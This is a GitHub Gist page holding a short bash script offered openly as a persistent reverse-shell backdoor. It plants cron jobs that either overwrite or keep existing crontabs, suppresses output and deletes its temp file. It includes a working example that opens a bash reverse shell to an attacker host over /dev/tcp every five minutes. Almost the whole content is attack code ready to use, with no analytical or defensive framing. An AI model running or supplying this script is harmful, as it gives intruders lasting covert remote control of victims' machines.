Last active
December 24, 2023 02:44
-
-
Save hoefler02/2ca8166c167f147c8fb076b48eb7cb47 to your computer and use it in GitHub Desktop.
Persistent Reverse Shell via Crontab
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# persistent reverse shell backdoor via crontab | |
# overwrites existing crontabs | |
(touch .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1 | |
# keeps existing crontabs | |
(crontab -l > .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1 | |
# example sending bash reverse shell every 5 min | |
(touch .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker/port 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment